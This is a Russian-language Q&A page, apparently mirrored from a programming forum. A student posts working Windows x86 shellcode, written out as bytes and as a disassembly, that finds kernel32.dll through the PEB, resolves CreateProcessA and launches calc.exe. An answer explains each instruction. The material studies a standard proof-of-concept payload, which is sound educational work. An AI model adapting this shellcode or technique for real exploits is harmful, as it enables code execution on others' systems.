Shellcode, чтобы открыть Calc.exe слишком долго и сложно, не могу понять! Моя первая эксплойт-программа - PullRequest
0 голосов
/ 27 января 2019

Я написал свою первую программу для эксплойтов в ОС Windows XP, используя шелл-код, который я нашел в Интернете.Он открывает калькулятор и общая программа работает успешно.Однако, хотя я сам не написал шелл-код, я должен очень хорошо знать, что он делает, разбирая его.Оказывается, мой шелл-код довольно длинный и очень сложный (даже мой учитель так говорит).Это бинарный файл: char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"; И это дизассемблированный материал:

 0:  31 db                   xor    ebx,ebx
2:  64 8b 7b 30             mov    edi,DWORD PTR fs:[ebx+0x30]
6:  8b 7f 0c                mov    edi,DWORD PTR [edi+0xc]
9:  8b 7f 1c                mov    edi,DWORD PTR [edi+0x1c]
c:  8b 47 08                mov    eax,DWORD PTR [edi+0x8]
f:  8b 77 20                mov    esi,DWORD PTR [edi+0x20]
12: 8b 3f                   mov    edi,DWORD PTR [edi]
14: 80 7e 0c 33             cmp    BYTE PTR [esi+0xc],0x33
18: 75 f2                   jne    0xc
1a: 89 c7                   mov    edi,eax
1c: 03 78 3c                add    edi,DWORD PTR [eax+0x3c]
1f: 8b 57 78                mov    edx,DWORD PTR [edi+0x78]
22: 01 c2                   add    edx,eax
24: 8b 7a 20                mov    edi,DWORD PTR [edx+0x20]
27: 01 c7                   add    edi,eax
29: 89 dd                   mov    ebp,ebx
2b: 8b 34 af                mov    esi,DWORD PTR [edi+ebp*4]
2e: 01 c6                   add    esi,eax
30: 45                      inc    ebp
31: 81 3e 43 72 65 61       cmp    DWORD PTR [esi],0x61657243
37: 75 f2                   jne    0x2b
39: 81 7e 08 6f 63 65 73    cmp    DWORD PTR [esi+0x8],0x7365636f
40: 75 e9                   jne    0x2b
42: 8b 7a 24                mov    edi,DWORD PTR [edx+0x24]
45: 01 c7                   add    edi,eax
47: 66 8b 2c 6f             mov    bp,WORD PTR [edi+ebp*2]
4b: 8b 7a 1c                mov    edi,DWORD PTR [edx+0x1c]
4e: 01 c7                   add    edi,eax
50: 8b 7c af fc             mov    edi,DWORD PTR [edi+ebp*4-0x4]
54: 01 c7                   add    edi,eax
56: 89 d9                   mov    ecx,ebx
58: b1 ff                   mov    cl,0xff
5a: 53                      push   ebx
5b: e2 fd                   loop   0x5a
5d: 68 63 61 6c 63          push   0x636c6163
62: 89 e2                   mov    edx,esp
64: 52                      push   edx
65: 52                      push   edx
66: 53                      push   ebx
67: 53                      push   ebx
68: 53                      push   ebx
69: 53                      push   ebx
6a: 53                      push   ebx
6b: 53                      push   ebx
6c: 52                      push   edx
6d: 53                      push   ebx
6e: ff d7                   call   edi

Как вы можете сказать, это hella долго и сбивает с толку.Кто-нибудь может объяснить, что он делает?Я больше привык к шелл-кодам, помещая какой-то адрес функции в регистр и затем вызывая его ... Это слишком сложно для меня!Заранее спасибо:)

1 Ответ

0 голосов
/ 27 января 2019

Windows API не определены в терминах системных вызовов, как это происходит в Linux / BSD.
Чтобы вызвать API, программа должна загрузить содержащую DLL и найти адрес экспортированной процедуры (эта процедура можетот полной реализации API до небольшой заглушки вокруг инструкции actall syscall.

Чтобы шелл-код мог вызывать API, он должен загрузить DLL и найти экспортированную процедуру API.
Некоторые библиотеки DLL всегда загружаются, даже если в PE загруженной программы не прослушивается зависимость, среди них kernel32.dll.

Первая часть шелл-кода находит базовый адрес kernel32.dllэто достигается путем использования структуры PEB_LDR_DATA.
Эта структура содержит список загруженных модулей (DLL) вместе с их именами и базовыми адресами.
На самом деле существует три двойных ссылкисписки, все указывают на одни и те же объекты, но в другом порядке и с немного отличающимися смещениями.
шеллкод использует список InInitializationOrderModuleList.

PEB_LDR_DATA находится в PEB, который, в свою очередь, находится в TEB.
. TEB расположен всегмент, обозначенный fs.

Напомним:

FS -> TEB -> PEB -> PEB_LDR_DATA -> InInitializationOrderModuleList

Здесь описание первой части

; Zeroes EBX
0:  31 db                   xor    ebx,ebx
; FS points to the TEB, TEB+0x30 is a pointer to the PEB
2:  64 8b 7b 30             mov    edi,DWORD PTR fs:[ebx+0x30]
; PEB+0xc is a pointer to PEB_LDR_DATA
6:  8b 7f 0c                mov    edi,DWORD PTR [edi+0xc]
; PEB_LDR_DATA is a pointer to InInitializationOrderModuleList
; EDI points to a LIST_ENTRY structure
9:  8b 7f 1c                mov    edi,DWORD PTR [edi+0x1c]

; Start of a loop
; EAX = Base address of the current module
c:  8b 47 08                mov    eax,DWORD PTR [edi+0x8]
; ESI = Ptr to UNICODE basename of the current module
f:  8b 77 20                mov    esi,DWORD PTR [edi+0x20]

; EDI = Ptr to FLink member
; Move the pointer to the next item
12: 8b 3f                   mov    edi,DWORD PTR [edi]
; Check if character 7 of the DLL base name is 3 (matches kernel32.dll)
14: 80 7e 0c 33             cmp    BYTE PTR [esi+0xc],0x33
18: 75 f2                   jne    0xc

Что может сбить с толку, так это то, что член InInitializationOrderModuleList является указателем наLIST_ENTRY структура, это переменная структура размера;в смещениях 0 и 4 должны быть элементы FLink и BLink, за которыми следуют пользовательские данные.Windows сохраняет только одну LDR_MODULE структуру для каждой DLL, три списка просто переставляются так, чтобы при их обходе формировался ожидаемый порядок.
Далее каждый список указывает на смещение в LDR_MODULE, в частности элементы InInitializationOrderModuleList указывают на InInitializationOrderLinks член LDR_MODULE.
Более подробное и подробное объяснение см. здесь .

Конечным результатом первой части является то, что базовый адрес kernel32.dll находится в eax.

Базовый адрес важен, поскольку Windows хранит заголовки MZ и PE в памяти, поэтому загруженный модуль - это просто «расширенный» PE.
В частности, это действительный PE.
Макет PE можно найти в Википедии .

Вторая часть шеллкода попытается найти адрес CreateProcessA.
Для этого нужно пройти секцию экспорта PE.
Большинство (Все?) Полей взаголовки смещены относительно начала самих заголовков, когда файл загружается в память, смещение называется RVA (относительный виртуальный адрес относительно базового адреса).
Таким образом, вы увидите несколько add преобразовать RVA в VA (абсолютный виртуальный адрес).

Секция экспорта задокументирована, например, здесь .
Есть таблица с указателями на имена экспортируемых функций, эта таблица связана (по индексу)с таблицей ординалов.
Если имя CreateWindowEx имеет индекс 3 в таблице имен, взглянув на индекс 3 в таблице ординалов, мы можем найти его порядковый номер.
Порядковый номер функциипросто указатель в таблицу адресов точек входа.
Структура выстроена так, что можно быстро найти функцию по ее порядковому номеру, но можно сделать дополнительный шаг и использовать вместо этого имя.

Напомним:

Base address -> PE header -> Export section -> Index of "CreateProcessA" in the names table -> Index of "CreateProcessA" in the ordinals table -> Entry-point of "CreateProcessA"

Код комментария:

;EDI = MZ Header
1a: 89 c7                   mov    edi,eax
;EDI = PE Header
1c: 03 78 3c                add    edi,DWORD PTR [eax+0x3c]
;EDX = Export section RVA
1f: 8b 57 78                mov    edx,DWORD PTR [edi+0x78]
;EDX = Export section VA
22: 01 c2                   add    edx,eax

;EDI = VA of Names table
24: 8b 7a 20                mov    edi,DWORD PTR [edx+0x20]
27: 01 c7                   add    edi,eax

; Start of a loop over the names
; I = 0
29: 89 dd                   mov    ebp,ebx
; ESI = ptr to the exported function name
2b: 8b 34 af                mov    esi,DWORD PTR [edi+ebp*4]
2e: 01 c6                   add    esi,eax
; I++
30: 45                      inc    ebp
; Name starts with 'Crea'
; Mind the endianness
31: 81 3e 43 72 65 61       cmp    DWORD PTR [esi],0x61657243
37: 75 f2                   jne    0x2b
; Name has 'oces' at char 9?
; Mind the endianness
39: 81 7e 08 6f 63 65 73    cmp    DWORD PTR [esi+0x8],0x7365636f
40: 75 e9                   jne    0x2b

;Name CreateProcessA found
;EBP = Index into the names table of CreateProcessA

; EDI = VA of the Ordinals table
42: 8b 7a 24                mov    edi,DWORD PTR [edx+0x24]
45: 01 c7                   add    edi,eax
; BP = Ordinal number of CreateProcessA
47: 66 8b 2c 6f             mov    bp,WORD PTR [edi+ebp*2]
; EDI = VA of the Entry-points table
4b: 8b 7a 1c                mov    edi,DWORD PTR [edx+0x1c]
4e: 01 c7                   add    edi,eax
; EDI = VA of CreateProcessA
50: 8b 7c af fc             mov    edi,DWORD PTR [edi+ebp*4-0x4]
54: 01 c7                   add    edi,eax

Конечный результат части 2 - это адрес CreateProcessA

Третья и последняя часть просто вызывает CreateProcessA.

Единственная странная часть - это

56: 89 d9                   mov    ecx,ebx
58: b1 ff                   mov    cl,0xff
5a: 53                      push   ebx
5b: e2 fd                   loop   0x5a

, который создает буфер нулей по 255 * 4 байта, мне кажется бесполезным.
Остальное должно быть обычным видом шелл-кодапривыкли к.


Хотя этот шелл-код немного утомителен, я советую хотя бы раз в своей карьере пройти его самостоятельно.
Я имею в виду его повторную проверку, проверку смещений и т. Д.
Это важно, потому что этот вид шелл-кода довольно стандартен (любая песочница его обнаружит) и может рассматриваться как основной блок для более продвинутых методов.

Также обратите внимание на ярлыки, принятые шеллкодом: он не на 100% безопасен (он не проверяет точно kernel32.dll и CreateProcessA), но он верен достаточно для работы.
Это тоже очень типично.

...